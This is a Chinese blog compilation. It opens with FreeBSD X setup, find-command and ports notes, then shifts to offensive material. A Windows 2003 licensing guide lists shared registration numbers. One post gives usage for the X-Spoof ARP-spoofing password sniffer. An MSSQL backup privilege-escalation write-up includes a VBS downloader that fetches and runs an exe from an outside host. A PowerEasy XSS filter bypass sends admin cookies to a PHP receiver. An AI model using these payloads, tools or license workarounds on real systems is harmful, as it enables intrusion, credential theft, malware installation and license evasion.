FreeBSD在VMware下的X配置

如果在系统安装时,没有选中Xorg Package,那么,你首先要安装Xorg
# pkg_add -r Xorg
安装可能花上一段时间,请耐心等待

安装好之后,要必须为X进行配置,输入如下命令
# Xorg -configure
它会在 /root 下生成一个 xorg.conf.new 文件,这是一个示例文件.要修改后才能使用.
(在VMware下使用 Xorg -configure 会出现黑屏现象,已解决)(解决方案:在执行此命令前,先执行: shutdown -r +1 , 这样,你执行完 Xorg -configure 等待一分钟后,系统会自动重启,免得黑屏使你无法操作),用ee或vi编辑器打开 xorg.conf.new,找到这段代码:
Section "Monitor"
Identifier "Monitor0"
VendorName "Monitor Vendor"
ModelName "Monitor Model"
HorizSync 30-107 # 这行是后加的
VertRefresh 48-120 # 这行是后加的
EndSection
再往下找,找到这段代码:
Section "Screen"
Identifier "Screen0"
Device "Card0"
Monitor "Monitor0"
DefaultDepth 8 # 这行是后加的
SubSection "Display"
Viewport 0 0
Depth 8
Modes "800x600" # 后加的
EndSubSection
EndSection
你可能会看到好多个 SubSection "Display", 没有关系,你只要设定好你的 DefaultDepth, 它是和 在 SubSection "Display" 中的 Depth 是对应的,比如,我这里设定的 DefaultDepth 8 那么,它就会用到里面有Depth 8 的这段 SubSection,这样,X 的配置文件就设定好了,你可以试着测试看看,命令是:
# Xorg -config <这里是你的配置文件名>
等待一小段时间后,你会在屏幕上看到 一个带 " X " 号的界面,说明, X配置文件是正确的. 然后,你得把这个配置文件放到 /etc/X11 目录下,并重命名为: xorg.conf
cp /root/xorg.conf.new /etc/X11/xorg.conf
这样就行了 🙂

用命令
startx
是不是启动到了X下? 你会看到几个绿条窗口,那说明你的 X 已经配置成功, 看惯了 windows 的用户,会觉得这个界面很难看,这是因为你还没有安装如 gnome 等这类的桌面管理器, 这个我们下次再说,这次就这样了,哈哈~~~

FreeBSD在VMware下的X配置
(http://www.fanqiang.com)

unix 查找文件

        如果你用的是linux,首先可以考虑用locate方法,一般够用了,而且速度很快,当然在用这个命令之前要生成文件数据库[execute updatedb in console],下面的是关于find的用法,具有通用性,在unix下也可以用 
每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件,用户自己的文件,还有共享文件等等。我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情,只要在桌面上点击“开始”-“搜索”中就能按照各种方式在本地硬盘上,局域网络,甚至在INTERNET上查找各种文件,文档。

        可是使用Linux的用户就没有那么幸运了,在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂,不象WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方便查找,在WINDOWS中,只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令,“find”命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说,“find”命令也是了解和学习Linux文件特点的方法。因为Linux发行版本繁多,版本升级很快,在Linux书籍上往往写明某个配置文件的所在位置,往往Linux新手按图索骥还是不能找到。比如说REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变,如果不学会使用“find”命令,那么在成千上万的Linux文件中要找到其中的一个配置文件是相当困难的,笔者在没有精通“find”命令之前就吃过这样的苦头。好,下面就详细为大家介绍强大的“find”命令的全部使用方法和用途。

通过文件名查找法:
        这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面,只要使用常见的“ls"命令就能方便的查找出来,那么使用“find”命令来查找它就不能给你留下深刻的印象,毕竟“find”命令的强大功能不止这个。如果知道了某个文件的文件名,而不知道这个文件放到哪个文件夹,甚至是层层套嵌的文件夹里。举例说明,假设你忘记了httpd.conf这个文件在系统的哪个目录下,甚至在系统的某个地方也不知道,则这是可以使用如下命令:
find / -name httpd.conf  

        这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:
etc/httpd/conf/httpd.conf  

        这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。
如果输入以上查找命令后系统并没有显示出结果,那么不要以为系统没有执行find/ -name httpd.conf命令,而可能是你的系统中没有安装Apache服务器,这时只要你安装了Apache Web服务器,然后再使用find / -name httpd.conf就能找到这个配置文件了。

无错误查找技巧: 
        在Linux系统中“find”命令是大多数系统用户都可以使用的命令,并不是ROOT系统管理员的专利。但是普通用户使用“find”命令时也有可能遇到这样的问题,那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用“find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是,往往会出现"Permissiondenied."(禁止访问)字样。系统将无法查询到你想要的文件。为了避免这样的错误,我们可是使用转移错误提示的方法尝试着查找文件,输入
find / -name access_log 2>/dev/null  

        这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后,遇到错误的信息就直接输送到stderrstream 2 中,access_log 2就是表明系统将把错误信息输送到stderrstream 2中,/dev/null是一个特殊的文件,表明空的或者错误的信息,这样查询到的错误信息将被转移了,不会再显示了。 

        在Linux系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大型Linux系统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省很多时间了。使用find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义,如果输入 “find/ ”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find/etc”就是只在 etc目录下查找文件。因为“find/etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了。

根据部分文件名查找方法: 
        这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现的,输入:
find /etc -name ’*srm*’  

        这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如 absrmyz, tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:
find/etc -name ’srm*’   

        这是只有像srmyz 这样的文件才被查找出来,象absrmyz或者 absrm这样的文件都不符合要求,不被显示,这样查找文件的效率和可靠性就大大增强了。

根据文件的特征查询方法: 
        如果只知道某个文件的大小,修改日期等特征也可以使用“find”命令查找出来,这和WINDOWS系统中的"搜索"功能是基本相同的。在微软的"搜索"中WINDOWS中的"搜索助理"使得搜索文件和文件夹、打印机、用户以及网络中的其他计算机更加容易。它甚至使在Internet 上搜索更加容易。"搜索助理"还包括一个索引服务,该服务维护了计算机中所有文件的索引
使得搜索速度更快。使用"搜索助理"时,用户可以指定多个搜索标准。例如,用户可以按名称、类型及大小搜索文件和文件夹。用户甚至可以搜索包含特定文本的文件。如果用户正使用 Active Directory,这时还可以搜索带有特定名称或位置的打印机。 

        例如我们知道一个Linux文件大小为1,500 bytes,那么我们可是使用如下命令来查询find / -size 1500c,字符 c 表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式来解决。例如我们输入find/ -size +10000000c 这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系统只列出大于指定大小的文件,而使用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“ find"命令后系统所要作出的查找动作,从中我们很容易看出在Linux中使用“find"命令的方式是很多的,“ find"命令查找文件只要灵活应用,丝毫不必在WINDOWS中查找能力差。

find / -amin -10 # 查找在系统中最后10分钟访问的文件
find / -atime -2 # 查找在系统中最后48小时访问的文件
find / -empty # 查找在系统中为空的文件或者文件夹
find / -group cat # 查找在系统中属于 groupcat的文件
find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
find / -mtime -1 #查找在系统中最后24小时里修改过的文件
find / -nouser #查找在系统中属于作废用户的文件
find / -user fred #查找在系统中属于FRED这个用户的文件 

        下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。
-amin n
查找系统中最后N分钟访问的文件
-atime n
查找系统中最后n*24小时访问的文件
-cmin n
查找系统中最后N分钟被改变状态的文件
-ctime n
查找系统中最后n*24小时被改变状态的文件
-empty
查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹
-false
查找系统中总是错误的文件
-fstype type
查找系统中存在于指定文件系统的文件,例如:ext2 .
-gid n
查找系统中文件数字组 ID 为 n的文件
-group gname
查找系统中文件属于gnam文件组,并且指定组和ID的文件

Find命令的控制选项说明:
Find命令也提供给用户一些特有的选项来控制查找操作。下表就是我们总结出的最基本,最常用的find命令的控制选项及其用法。 
选项
用途描述
-daystart
.测试系统从今天开始24小时以内的文件,用法类似-amin
-depth
使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容
-follow
遵循通配符链接方式查找; 另外,也可忽略通配符链接方式查询
-help
显示命令摘要
-maxdepth levels
在某个层次的目录中按照递减方法查找
-mount
不在文件系统目录中查找, 用法类似 -xdev.
-noleaf
禁止在非UNUX文件系统,MS-DOS系统,CD-ROM文件系统中进行最优化查找
-version
打印版本数字 

        使用-follow选项后,find命令则遵循通配符链接方式进行查找,除非你指定这个选项,否则一般情况下find命令将忽略通配符链接方式进行文件查找。 

        -maxdepth选项的作用就是限制find命令在目录中按照递减方式查找文件的时候搜索文件超过某个级别或者搜索过多的目录,这样导致查找速度变慢,查找花费的时间过多。例如,我们要在当前(.)目录技巧子目录中查找一个名叫fred的文件,我们可以使用如下命令
find . -maxdepth 2 -name fred  

        假如这个fred文件在./sub1/fred目录中,那么这个命令就会直接定位这个文件,查找很容易成功。假如,这个文件在./sub1/sub2/fred目录中,那么这个命令就无法查找到。因为前面已经给find命令在目录中最大的查询目录级别为2,只能查找2层目录下的文件。这样做的目的就是为了让find命令更加精确的定位文件,如果你已经知道了某个文件大概所在的文件目录级数,那么加入-maxdepth n 就很快的能在指定目录中查找成功。

使用混合查找方式查找文件 
        find命令可以使用混合查找的方法,例如我们想在/tmp目录中查找大于100000000字节并且在48小时内修改的某个文件,我们可以使用-and 来把两个查找选项链接起来组合成一个混合的查找方式。
find /tmp -size +10000000c -and -mtime +2  

        学习过计算机语言的朋友都知道,在计算机语言里,使用and ,or 分别表示“与”和“或”的关系。在Linux系统的查找命令中一样通用。
还有这样的例子,
find / -user fred -or -user george 

我们可以解释为在/tmp目录中查找属于fred或者george这两个用户的文件。
在find命令中还可以使用“非”的关系来查找文件,如果我们要在/tmp目录中查找所有不属于panda的文件,使用一个简单的
find /tmp ! -user panda  
命令就可以解决了。很简单。

查找并显示文件的方法
查找到某个文件是我们的目的,我们更想知道查找到的文件的详细信息和属性,如果我们采取现查找文件,在使用LS命令来查看文件信息是相当繁琐的,现在我们也可以把这两个命令结合起来使用。
find / -name "httpd.conf" -ls 

系统查找到httpd.conf文件后立即在屏幕上显示httpd.conf文件信息。
12063 34 -rw-r--r-- 1 root root 33545 Dec 30 15:36 /etc/httpd/conf/httpd.conf

下面的表格就是一些常用的查找文件并显示文件信息的参数和使用方法
选项
用途描述
-exec command;
查找并执行命令
-fprint file
打印文件完整文件名
-fprint0 file
打印文件完整文件名包括空的文件
-fprintf file format
打印文件格式
-ok command;
给用户命令执行操作,根据用户的Y 确认输入执行
-printf format
打印文件格式
-ls
打印同种文件格式的文件.

总结:到这里为止我们已经学习了这名多关于find命令的使用方法,也列出了很多常用的find命令的选项,如果我们能熟练掌握在Linux中find命令的使用方法,那么在Linux中查找文件也不是一件困难的事
情。 

freebsd6.2的gnome2桌面安装配置手记

1、安装freebsd6.2。
这里我选择的是最小化安装。

2、安装xorg。
pkg_add  -r xorg

3、安装gnome2。
pkg_add -r gnome2

4、生成、测试相关的配置文件

Xorg -configure
将生成xorg.conf.new文件在/root/目录下。
Xorg -configure /root/xorg.conf.new(6.2做这步时似乎必须加上/root/)
这里测试下生成的配置文件,会出现1个布满小格子的大方框,并且应该有一个鼠标箭头。
然后ctrl+alt+backspace返回文字符界面。
然后编辑一下xorg.conf.new文件,然后拷贝至/etc/X11/xorg.conf

5、配置窗口管理器
在/etc/rc.conf里加入gdm_enable="YES"
然后重新启动,就可以自动进入GUI界面了。

在FreeBsd中安装ports

FreeBsd中安装ports
一.首先进入要安装的port的目录
#cd /usr/ports/www/apache22
二.执行make命令进行编译
#make
会出现一些提示信息,一旦编译完,就会回到命令行,下一步是安装port,只要在make后面添加一个单词install即可.
三.安装port
#make install
会出现一些提示信息,完毕后会回到提示符,您就可以运行您安装的程序了
四.清除安装时产生的一些临时信息:
#make clean
清理工作目录是个好注意,这个目录中包含了全部在编译过程中用到的临时文件,这些文件不公会占用宝贵的磁盘空间,而且可能给升级port时带来麻烦.

至此,安装ports的步骤基本已经完成.

注:以上三个命令make,make install,make clean可以使用组合命令make install clean来代替.

激活2003终端授权服务器

大前提是安装好:终端服务器
1)点击”开始”->”程序”->”管理工具”->”终端服务器授权”,选择未激活的服务器名称,选择”属性”, 请记下对话框中出现的产品ID,我们要用这20位的ID号到网上注册。
2)打开Internet Explorer浏览器,在地址栏中输入https://activate.mic...(http也可)这个地址,此时是英文界面。在左上角的下拉框中选中"Chinese(Simplified)"(简体中文)项,再按"GO"图标。
3)现在便得到的是中文网页了。确保已选中"启用许可证服务器"项,再单击"下一步"按钮。
4)在随后要求提供的信息界面中,"产品ID"处输入刚才抄下的那个20位数字,再填入自己的其他基本资料,然后再选"下一步"继续。
5)此时系统会显示你方才输入的个人信息,确信无误之后再 "下一步";
6)你便可以得到"已成功处理您的许可证服务器启动申请。你的许可证ID是:…",又是一个需要抄下的分为七段的35位数,里面包含有数字也有大写的英文字母;并且还会问你"需要此时获取客户机许可证吗?",你当然应该回答”是”;
7)如果没有许可证,那么许可证程序选择“Enterprise Agreement”,确定您的信息后,便可继续”下一步”;
8)在接下来的界面中(在此是以选择“Enterprise Agreement”,如果选择其他的许可证程序,可能略有不同),"产品类型"一项应为 "Windows 2003终端服务客户端访问许可证";"数量"为你欲连接的最大用户数(比如为"100");在"注册号码"中输入你从微软获得的那个七位数(如果自己没有许可证,那么就输入6565792,4954438,6879321或者5296992),再"下一步";
9)又是确认您的设置;
10)现在应该是"谢谢您激活终端服务许可证"的时候了!你的收获包括两个东东,一个是刚才已经得到的那个35位数的"许可证服务器ID",一个是现在才取得的另一个七段共35位数的"许可证密钥包ID"。恭喜你!
11)现在请到”开始”->”程序”->”管理工具”->”终端服务器授权”中完成最后的激活操作吧,选择服务器名称后点击右键,将”属性”中的”安装方法”设为”Web浏览器”;
12)再选择服务器,点击右键,选择”安装许可证”;
13)现在就可以将您在Web上得到的许可证密钥ID输入到以下的输入框中了;
14)大功告成,现在终于没有120天的后顾之忧了;
15)最后我们又返回到终端服务器的授权中,点击服务器名称,右键选择”激活”,那么就完成任务了

X-Spoof

X-Spoof前段时间很火,据说还可以卖钱,现在有人放出来了。我也转过来。不过刚才 百度 了一下,发现前几天就有人提供下载了。不知道X-Spoof是什么的朋友, Google 一下吧。

来源:小浩's Blog

下载地址: X-Spoof.rar

X-Spoof v1.3.3说明:

1、命令行参数
-l: 查看本机网络接口;
-f: 枚举局域网内所有机器的IP-MAC信息(需要配合"-i"参数设置正确的网络接口);
-i <if_number>: 指定网络接口;
-p <pass_log_file> [smb_log_file]:嗅探FTP/HTTP/POP3/SMTP密码、TELNET会话内容并记录到pass_log_file。若指定了smb_log_file参数,将同时记录139/445端口的SMB/CIFS协议中与登录认证、共享资源访问相关的数据报至smb_log_file(兼容libpcap/tcpdump格式);
-s: 开始ARP欺骗(需要配合"-i"参数设置正确的网络接口);
-r: 恢复被欺骗主机的ARP表(需要配合"-i"参数设置正确的网络接口);
-c <config_file>: 由配置文件读取默认服务端口及ARP欺骗列表,默认配置文件名为"xspoof.ini")。

2、操作步骤
1) 使用"-l"参数查看本地网络接口;
2) 使用"-f"参数获得局域网内所有机器的IP-MAC信息;
3) 使用"-s"参数进行ARP欺骗,或同时使用"-p"参数嗅探密码。需要通过"-i"参数指定正确的网络接口和通过"-c"参数指定配置文件名。

4、配置文件各字段含义
#================================================
# 指定各服务默认端口(用于嗅探密码)
[SERVICE_PORT]
HTTP=80
FTP=21
SMTP=25
POP3=110
TELNET=23

#================================================
# "LOCAL_MAC"为本机MAC地址,其他为"SPOOF_LIST"字段
# 中各被欺骗主机的IP及MAC地址对应表(可由"-f"参数获得)
# 示例:
# LOCAL_MAC=00-0d-88-f0-e2-1e
# 192.168.0.1=02-0d-3a-26-49-b5
# 192.168.0.2=00-0a-eb-88-cc-8e
# 192.168.0.3=00-0d-88-f0-e2-1e
# 192.168.0.4=00-0b-b8-a0-32-0c
[MAC_LIST]
LOCAL_MAC=

#================================================
# ARP欺骗列表,每条规则为一条单向欺骗规则
# 假设A、B为局域网内正常机器,C为嗅探机器
# 原数据报路径为A->B,欺骗后路径为A->C->B
# 欲嗅探两台机器间的双向通讯数据,需要添加两条规则
# 示例:
# 1=192.168.0.1,192.168.0.2
# 2=192.168.0.2,192.168.0.1
# 3=192.168.0.3,192.168.0.4
# 4=192.168.0.4,192.168.0.3
[SPOOF_LIST]

以下为配置文件示例:
[SERVICE_PORT]
HTTP=80
FTP=21
SMTP=25
POP3=110
TELNET=23

[MAC_LIST]
LOCAL_MAC=00-0d-88-f0-e2-1e
192.168.100.119=00-0a-eb-88-cc-8e
192.168.100.254=02-0d-3a-26-49-b5

[SPOOF_LIST]
1=192.168.100.119,192.168.100.254
2=192.168.100.254,192.168.100.119

5、程序演示

命令1:xspoof -l

WinPCap version: 3, 1, 0, 24
1. \Device\NPF_GenericNdisWanAdapter (Generic NdisWan adapter)
2. \Device\NPF_{C198BDE0-2B71-465D-9340-54DB0C44BE83} (D-Link AirPlus Wireless Adapter)
Address Family: #2
Address Family Name: AF_INET
Address: 192.168.100.3
Netmask: 255.255.255.0
Broadcast Address: 255.255.255.255
3. \Device\NPF_{C915675D-0BD7-4E77-9F7B-1669CA4FF29F} (VMware Virtual Ethernet Adapter)
Address Family: #2
Address Family Name: AF_INET
Address: 192.168.236.1
Netmask: 255.255.255.0
Broadcast Address: 255.255.255.255

命令2:xspoof -f -i 2

WinPCap version: 3, 1, 0, 24

[LOCAL INFORMATION]
Link type: 0
Link speed: 54000000 b/s
Broadcast: 255.255.255.255
Subnet mask: 255.255.255.0
IP address: 192.168.100.3
MAC address: 00-0d-88-f0-e2-1e

[MAC LIST]
IP: 192.168.100.3 MAC: 00-0d-88-f0-e2-1e
IP: 192.168.100.119 MAC: 00-0a-eb-88-cc-8e
IP: 192.168.100.254 MAC: 02-0d-3a-26-49-b5

260 packets received, 0 packets lost.

命令3:xspoof -i 2 -s -p pass.log

Start sniffer thread succeed.
Listening on D-Link AirPlus Wireless Adapter...
Enable IP_ROUTER succeed.
192.168.100.119 -> M -> 192.168.100.254 ...
192.168.100.254 -> M -> 192.168.100.119 ...
Build arp packet complete, arp spoof started.

已经开始在192.168.100.119和192.168.100.254之间进行欺骗,使双方均认为192.168.100.3的MAC地址是对方的真实MAC地址,同时在192.168.100.3启动sniffer,对192.168.100.119和192.168.100.254之间传输的明文密码进行嗅探,结果保存在"pass.log"文件中。

命令4:xspoof -i 2 -r

WinPCap version: 3, 1, 0, 24
Send to 192.168.100.119: MAC of 192.168.100.254 is 02-0d-3a-26-49-b5
Send to 192.168.100.254: MAC of 192.168.100.119 is 00-0a-eb-88-cc-8e
Build arp packet complete.
Restore the arp table of target complete.

MSSQL差异备份取系统权限(带演示动画)

作者:kj021320
来源:邪恶八进制信息安全团队(www.eviloctal.com)
注意:本文章首发I.S.T.O技术团队后由原创作者kj021320友情提交到邪恶八进制信息安全团队论坛。

MSSQL差异备份取系统权限
TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧!
MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码
让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj021320测试了N次之后跟你说!

那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道 通用地方 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
呵呵位置有了! 那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~!
EXE JS VBS BAT这些文件大家第一时间想到的了
那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉
然后到脚本
VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道
VBS里面 有2种注释 ' 还有就是 rem
但是还是会有垃圾信息屏蔽不了
否决掉

JS呢? JS里面有多行注释的/**/ 但是 /* 不可能在首行吧?
否决掉

最后 剩下我们最熟悉的bat批处理了!
OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢?

说到这里 要是大家不往文章下面看也一样能想到方法了吧~

OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT

echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs
echo P.Open "GET","http://www.isto.cn/t.exe",0 >>k.vbs
echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs
echo G.Mode=3:G.Type=1:G.Open() >>k.vbs
echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs
k.vbs
t

下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车
然后实现差异备份

alter database ISTO set RECOVERY FULL--
create table cmd (a image)--
backup log ISTO to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E5
84D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A
2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E536
56E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E
3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203
E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E
53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--

OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389 那就更方便了! 直接bat 一个添加管理员的命令更爽!

全文完!

突然发现好象邪8上传不了!-_-
动画地址这里 有时间我会重新编辑上传的!
http://www.isto.cn/vedio/mssqlbackup-system.rar

动易2006_SP6最新漏洞得到管理员密码

从7j那里看到的,并且有7j写的接收页面。

7j:没有找到他说的接收页面,只有自已用PHP写个了

<?
$filename = date("Ymd").".txt";
$time = @date("Y年m月d号H点i分s秒",time());
$cookie = $_POST['cookie'];
$url = $_POST['url'];
$hostname = $_POST['hostname'];
if ($cookie <> ""){
 $tmp = fopen($filename,"a+");
 fwrite($tmp,"地址:".$url."\n主机:".$hostname."\nCookie:".$cookie."\nIP:".$_SERVER['REMOTE_ADDR']."\n".$time."\n");
 fclose($tmp);
 }
?>

来源:′失眠ヤ夜 's blog

漏洞主要出现在“雁过留声(留言板)”、“信息管理”和“短消息”里,这里以留言板为例
下面我们来测试一下漏洞
打开留言板,选择源代码模式签写留言
审核发表状态下钓到管理员Cookies的几率比较到
我们先来试试一些文字
输入<>未被过滤
输入<script>过滤成<>,不好意思 刚才弄错了
输入scrSCRIPTipt会过滤成script(去掉了中间的大写SCRIPT)
看 漏洞出来了
也就是说它会把"Script"字符过滤掉,但是只过滤一次,给了我们可乘之机
(iframe标签你可以自己测试)
下面是一个获得Cookies的代码,会把Cookies提交到http://localhost/cookies/cookies.asp,相关的代码我会打包到教程里

<form name=redir action=http://localhost/cookies/cookie.asp method=post>
<input type=hidden name=cookie>
<input type=hidden name=url>
<input type=hidden name=hostname>
</form>
<script>redir.cookie.value=document.cookie;redir.url.value=location.href;redir.hostname.value=location.hostname;redir.submit();</script>

现在我们在一些可能的敏感字符中插入SCRIPT字符,以防我们的代码被过滤
更改后的代码如下:

<FOSCRIPTRM naSCRIPTme=redSCRIPTir actSCRIPTion=http://locaSCRIPTlhost/cooSCRIPTkies/cooSCRIPTkie.asp>
<input type=hidSCRIPTden name=coSCRIPTokie>
<input type=hidSCRIPTden name=uSCRIPTrl>
<input type=hidSCRIPTden name=hoSCRIPTstname>
</forSCRIPTm>
<scrSCRIPTipt>rSCRIPTedir.cooSCRIPTkie.valSCRIPTue=docSCRIPTument.coSCRIPTokie;redSCRIPTir.urSCRIPTl.vaSCRIPTlue=locSCRIPTation.hrSCRIPTef;redSCRIPTir.hostnamSCRIPTe.vaSCRIPTlue=locatiSCRIPTon.hostnSCRIPTame;redSCRIPTir.subSCRIPTmit();</scrSCRIPTipt>

现在我们发表留言

看 数据库里的代码是我们修改前的代码
现在以管理员身份登录
现在我们保存cookies的数据库是空的
这是我发送的钓Cookies的网页

好的,现在代码已经执行,管理员的Cookies已经被我们钓到了
我们来看一下

ASPSESSIONIDQCRQQSAT=LCNFLHOBLBPHEJJMHJDPDMGF; localhostpowereasy=LastPassword=4P263W7JiD425kyd&UserName=admin&AdminLoginCode=PowerEasy2006&AdminName=admin&UserPassword=469e80d32c0559f8&RndPassword=4P263W7JiD425kyd&AdminPassword=469e80d32c0559f8

怎么样?得到了吧?
里面有管理员的用户名、密码,和管理认证码

信息管理和短消息也可以如法炮制,具体方法我就不多说了
在这里说一下 拿到源码后先要修改一下设置,conn.asp里的数据库路径要改一下
还有test.htm里的URL也要改一下,可以用它做测试

php代码不开源下的一种漏洞检测思路

        现在很多的php软件厂商为了一些目的都开始将自己的产品用Zend加密起来,当客户使用的时候根本不知道程序里面的细节,的确给那些搞安全的人很大的难度,所以一些厂商就开始认为只要是Zend过的产品都是安全的。但是其实不然,即使在不知道原代码并且不考虑Zend破解的情况下,我们一样可以利用php本身的一些特性来到达获取程序的一些商业逻辑以及信息以到达探测程序的漏洞等等。
        测试程序的安全性方法一般有三种,第一是完全的不知道源代码,不知道程序内部处理的细节,完全靠输入的参数来猜测程序内部的细节以及可能出现的问题,另外一种就是能得到程序的代码知道代码的处理流程,通过对代码的分析来得到程序的问题。还有另外一种方式就是处于中间的灰盒测试,可以知道程序的一部分细节,这里我们要说的可能就属于这种方式了,因为我们知道Zend所谓的加密其实是将php代码转成了一个中间态的代码,在支持Zend加密的主机上最终都是跟正常的php文件一样被翻译成底层代码执行的,不过是源代码不可见罢了。但是要注意一点就是,这个加密代码是在我们提供的环境之中运行的,他用的语言环境是我们机器上的php,他所选择的数据库等存储系统是我们提供的文件系统或者Mysql等数据库,这就比单纯的黑盒测试多了很多可以利用的地方,因为我们完全可以控制他的运行环境,甚至大部分的处理结果对我们也是可见的,我们就有空子可钻了。
        然后说说php代码里的常见漏洞,一般的漏洞包括有Sql注射,文件包含,代码执行,Xss注射,逻辑性错误......等等。在知道代码的情况下我们可以比较容易检测出大部分的漏洞,但是由于代码加密变的不可见,只采用一般的黑盒测试方法只能检测一些常见的漏洞,但是对于一些变量没初始化和一些逻辑错误无能为力。下面就说说在应用层如何探测程序的一些安全问题。

        首先就是如何“调试”加密的PHP脚本的问题,这里的调试实际上是指如何让加密的PHP脚本在我们可以控制的环境下运行,我这里用的方法就是创建一个php文件来include包含执行需要调试的加密过的PHP文件,在include之前我们可以设置调试代码,在include执行完毕后我们还可以利用后面提到的方法查看脚本的一些信息。譬如我们要调试zend.php这个被加密的文件,就可以利用下面的方式:

<?php
//一些运行前的代码
echo "Just a example";
include 'zend.php';
echo "OK";
//一些运行后的代码
?>

这样zend.php里的东西就受我们的影响了。

然后要做的就是对代码的刺探了,很幸运的是PHP提供了很多的函数给我们使用,譬如比较有用的有:

get_defined_vars 返回由所有已定义变量所组成的数组 (PHP 4 >= 4.0.4, PHP 5)
get_declared_classes 返回由已定义类的名字所组成的数组 (PHP 4, PHP 5)
get_defined_constants 返回由已定义常量的名字所组成的数组
get_defined_functions 返回由已定义的函数
get_included_files 返回已经包含的文件名
......

大家可以去php手册里查下,利用这些函数我们就能做很多事情了,譬如我们知道某个加密的文件zend.php里面有我们很想要的东西,譬如数据库帐户密码,譬如某个加密的Key,譬如......那么我们就可以将这个文件利用上面的方法include出来,然后用 get_defined_vars函数看信息,例子如下:

eg <?php
include 'zend.php';
print_r(get_defined_vars);
?>

        怎么样,出来了吧?同样,一些程序员通常把一些函数放到一个php文件里,我们就可以通过同样的方法得到这个php文件里定义了的函数了。

